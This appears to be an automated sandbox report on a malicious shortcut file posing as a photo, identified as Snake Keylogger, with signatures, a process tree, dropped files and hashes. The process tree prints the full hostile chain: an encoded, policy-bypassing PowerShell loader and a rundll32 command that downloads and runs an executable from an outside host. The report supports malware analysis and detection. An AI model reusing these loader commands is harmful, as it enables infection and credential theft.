Analysis

  • max time kernel
    142s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/01/2024, 08:13

General

  • Target

    Photo01.jpg.lnk

  • Size

    2KB

  • MD5

    2b91c1d78d8e65a4a8a4c8bb89267e7f

  • SHA1

    37092cdcc30b44403638e19bb2b214e6fe9be2b2

  • SHA256

    335dbbec54330e455233417d1ce7dd7ccc0550c1c8bdf8eaf6d3e54f1c5f0b6a

  • SHA512

    6a2fe949bb755fb770d1c1c42cd0288a1f1ef1cb783aead550066ac3aa09c740ceaf13990f62400021adcd08432035147c21cb22f186969b3eec37784a2a370f

Malware Config

Signatures

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

  • Snake Keylogger payload 19 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 16 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Photo01.jpg.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4720
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" CmD /C powersHElL -EX bYPASS -nop -w hIddEn -ec IAAgAEkAbgBWAG8AawBlAC0AdwBFAGIAcgBFAFEAdQBlAFMAdAAgAAkALQBVAFIAaQAgAAkAHSBoAHQAdABwADoALwAvAHYAeQBiAHMAbgBmADMALgBzAGEALgBjAG8AbQAvAG0AZQBkAC4AYgBhAHQAHSAgAAkALQBPAFUAVABmAEkAbABFACAAHSAkAEUATgB2ADoAVABlAG0AcABcAGoAcgBiAGIAcwBmAHIALgBiAGEAdAAdICAAOwAgAGkATgB2AG8AawBFAC0ASQB0AGUATQAgAAkAHSAkAEUAbgBWADoAVABlAG0AcABcAGoAcgBiAGIAcwBmAHIALgBiAGEAdAAdIA==
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4216
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powersHElL -EX bYPASS -nop -w hIddEn -ec IAAgAEkAbgBWAG8AawBlAC0AdwBFAGIAcgBFAFEAdQBlAFMAdAAgAAkALQBVAFIAaQAgAAkAHSBoAHQAdABwADoALwAvAHYAeQBiAHMAbgBmADMALgBzAGEALgBjAG8AbQAvAG0AZQBkAC4AYgBhAHQAHSAgAAkALQBPAFUAVABmAEkAbABFACAAHSAkAEUATgB2ADoAVABlAG0AcABcAGoAcgBiAGIAcwBmAHIALgBiAGEAdAAdICAAOwAgAGkATgB2AG8AawBFAC0ASQB0AGUATQAgAAkAHSAkAEUAbgBWADoAVABlAG0AcABcAGoAcgBiAGIAcwBmAHIALgBiAGEAdAAdIA==
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5036
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\jrbbsfr.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4740
          • C:\Windows\system32\DeviceCredentialDeployment.exe
            DEVIcECRedentIALdEPLOymEnt
            5⤵
              PID:5112
            • C:\Windows\system32\rundll32.exe
              RUNDll32 inEtcpL.CPl , ClearMyTracksByProcess 8
              5⤵
              • Modifies Internet Explorer settings
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of WriteProcessMemory
              PID:4020
              • C:\Windows\system32\rundll32.exe
                C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                6⤵
                • Modifies registry class
                PID:4944
            • C:\Windows\system32\rundll32.exe
              rundLl32 C:\Windows\sYStEm32\SHiMGVW.dLl , ImageView_FullscreenA http://vybsnf3.sa.com/jertrs.exe
              5⤵
              • Blocklisted process makes network request
              • Suspicious use of FindShellTrayWindow
              PID:1608
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\lxRipDbgv6WP.BAT
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1848
              • C:\Windows\system32\DeviceCredentialDeployment.exe
                dEvicEcredeNTiAldEPlOYMeNT
                6⤵
                  PID:3408
                • C:\Windows\system32\timeout.exe
                  timEout /T 7 /nObREAK
                  6⤵
                  • Delays execution with timeout.exe
                  PID:1280
                • C:\Windows\system32\taskkill.exe
                  TAskkilL.Exe /F /Im rUNdlL32.exE
                  6⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1260
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c DIr C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\ /s /B
                5⤵
                  PID:2636
                • C:\Windows\system32\conhost.exe
                  CoNhOsT C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\VH4I14XV\jertrs[1].exe
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:560
                  • C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\VH4I14XV\jertrs[1].exe
                    C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\VH4I14XV\jertrs[1].exe
                    6⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Suspicious behavior: MapViewOfSection
                    • Suspicious use of SetWindowsHookEx
                    • Suspicious use of WriteProcessMemory
                    PID:3168
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
                      7⤵
                      • Accesses Microsoft Outlook profiles
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • outlook_office_path
                      • outlook_win_path
                      PID:3664

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\VH4I14XV\jertrs[1].exe

                Filesize

                1.3MB

                MD5

                b07832ec5f73ae5f2888ebab2aa5283a

                SHA1

                cb11a9e432df439fde94b6a3b3677d0112cac3c5

                SHA256

                dc613f5e91169b3744adfc0f6c968e3501c4bc1221ce12bdaa948ce9e5a1da21

                SHA512

                7a3233303f57b57e72eaabd792796339611daa39bea2279ff1879a2728afc3b6cbb25cb9b66f96f86deda3aa7fda95cab07f0a549981dddbbb4f71c25132da15

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sjghmla1.n2w.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Admin\AppData\Local\Temp\jrbbsfr.bat

                Filesize

                552B

                MD5

                885e4bf9c36d1964f751bca33e898503

                SHA1

                4055100dda8ee3845cfda6735900c556d8c19ca1

                SHA256

                5efe4bb30df918412651e2060b234aac78f108793c2a25500aca8488ada3ab2a

                SHA512

                5da165cb4571777b53fbf324dabd63e73b7af94a88d0b08da8a0d28db1f6b947ad41494331be734836d2b5cb7ef090f1eed1e73b8ed9deb2fb9a37c4873691e3

              • C:\Users\Admin\AppData\Local\Temp\lxRipDbgv6WP.BAT

                Filesize

                88B

                MD5

                39aceb0c8a015a4e8f66498e03ff16db

                SHA1

                4707695dece3a70bfbe55868d059a22e4325eaf0

                SHA256

                7eec1caeee2e9781635bc00daf1c0dbf98ec325625776afc4fb621e2eabd4527

                SHA512

                0cc87584d277036c2f94f25484beeb60b07adcb1ccc90b6ddfc1e6521944c35f87cc2c9f15a2b2b453a1cd8e9c0c16ade7d6ceb4f6b082c4be6f8d1aaf8a53dc

              • memory/3168-70-0x0000000000730000-0x0000000000830000-memory.dmp

                Filesize

                1024KB

              • memory/3168-56-0x0000000000400000-0x000000000054B000-memory.dmp

                Filesize

                1.3MB

              • memory/3168-73-0x0000000000730000-0x0000000000830000-memory.dmp

                Filesize

                1024KB

              • memory/3168-36-0x00000000758B0000-0x0000000075A0D000-memory.dmp

                Filesize

                1.4MB

              • memory/3168-38-0x0000000000730000-0x0000000000830000-memory.dmp

                Filesize

                1024KB

              • memory/3168-40-0x0000000000400000-0x000000000054B000-memory.dmp

                Filesize

                1.3MB

              • memory/3168-42-0x0000000000730000-0x0000000000830000-memory.dmp

                Filesize

                1024KB

              • memory/3168-43-0x0000000000400000-0x000000000054B000-memory.dmp

                Filesize

                1.3MB

              • memory/3168-44-0x0000000000730000-0x0000000000830000-memory.dmp

                Filesize

                1024KB

              • memory/3168-45-0x0000000000730000-0x0000000000830000-memory.dmp

                Filesize

                1024KB

              • memory/3168-46-0x0000000000730000-0x0000000000830000-memory.dmp

                Filesize

                1024KB

              • memory/3168-47-0x0000000000730000-0x0000000000830000-memory.dmp

                Filesize

                1024KB

              • memory/3168-48-0x0000000000730000-0x0000000000830000-memory.dmp

                Filesize

                1024KB

              • memory/3168-54-0x0000000000730000-0x0000000000830000-memory.dmp

                Filesize

                1024KB

              • memory/3168-52-0x0000000000730000-0x0000000000830000-memory.dmp

                Filesize

                1024KB

              • memory/3168-79-0x00000000758B0000-0x0000000075A0D000-memory.dmp

                Filesize

                1.4MB

              • memory/3168-58-0x0000000000730000-0x0000000000830000-memory.dmp

                Filesize

                1024KB

              • memory/3168-59-0x0000000000730000-0x0000000000830000-memory.dmp

                Filesize

                1024KB

              • memory/3168-62-0x0000000000400000-0x000000000054B000-memory.dmp

                Filesize

                1.3MB

              • memory/3168-64-0x0000000000730000-0x0000000000830000-memory.dmp

                Filesize

                1024KB

              • memory/3168-66-0x0000000000730000-0x0000000000830000-memory.dmp

                Filesize

                1024KB

              • memory/3168-68-0x0000000000730000-0x0000000000830000-memory.dmp

                Filesize

                1024KB

              • memory/3168-30-0x0000000077C62000-0x0000000077C63000-memory.dmp

                Filesize

                4KB

              • memory/3168-71-0x0000000000400000-0x000000000054B000-memory.dmp

                Filesize

                1.3MB

              • memory/3168-32-0x0000000002300000-0x0000000002301000-memory.dmp

                Filesize

                4KB

              • memory/3168-72-0x0000000002CF0000-0x0000000002CF8000-memory.dmp

                Filesize

                32KB

              • memory/3168-82-0x0000000002CF0000-0x0000000002CF8000-memory.dmp

                Filesize

                32KB

              • memory/3168-77-0x0000000000730000-0x0000000000830000-memory.dmp

                Filesize

                1024KB

              • memory/3168-76-0x0000000000730000-0x0000000000830000-memory.dmp

                Filesize

                1024KB

              • memory/3168-74-0x0000000000730000-0x0000000000830000-memory.dmp

                Filesize

                1024KB

              • memory/3168-78-0x0000000000400000-0x000000000054B000-memory.dmp

                Filesize

                1.3MB

              • memory/3664-91-0x00000000068F0000-0x0000000006940000-memory.dmp

                Filesize

                320KB

              • memory/3664-89-0x0000000074610000-0x0000000074DC0000-memory.dmp

                Filesize

                7.7MB

              • memory/3664-83-0x0000000000FA0000-0x0000000000FA1000-memory.dmp

                Filesize

                4KB

              • memory/3664-81-0x0000000077C62000-0x0000000077C63000-memory.dmp

                Filesize

                4KB

              • memory/3664-84-0x0000000000400000-0x0000000000426000-memory.dmp

                Filesize

                152KB

              • memory/3664-85-0x0000000074610000-0x0000000074DC0000-memory.dmp

                Filesize

                7.7MB

              • memory/3664-86-0x0000000005B40000-0x00000000060E4000-memory.dmp

                Filesize

                5.6MB

              • memory/3664-87-0x0000000005590000-0x000000000562C000-memory.dmp

                Filesize

                624KB

              • memory/3664-88-0x0000000005880000-0x0000000005890000-memory.dmp

                Filesize

                64KB

              • memory/3664-75-0x0000000000400000-0x000000000042B000-memory.dmp

                Filesize

                172KB

              • memory/3664-90-0x0000000005880000-0x0000000005890000-memory.dmp

                Filesize

                64KB

              • memory/3664-94-0x0000000006970000-0x000000000697A000-memory.dmp

                Filesize

                40KB

              • memory/3664-92-0x0000000006B10000-0x0000000006CD2000-memory.dmp

                Filesize

                1.8MB

              • memory/3664-93-0x00000000069E0000-0x0000000006A72000-memory.dmp

                Filesize

                584KB

              • memory/5036-5-0x00000198A0FD0000-0x00000198A0FF2000-memory.dmp

                Filesize

                136KB

              • memory/5036-10-0x00007FFB658D0000-0x00007FFB66391000-memory.dmp

                Filesize

                10.8MB

              • memory/5036-11-0x000001989EF50000-0x000001989EF60000-memory.dmp

                Filesize

                64KB

              • memory/5036-12-0x000001989EF50000-0x000001989EF60000-memory.dmp

                Filesize

                64KB

              • memory/5036-19-0x00007FFB658D0000-0x00007FFB66391000-memory.dmp

                Filesize

                10.8MB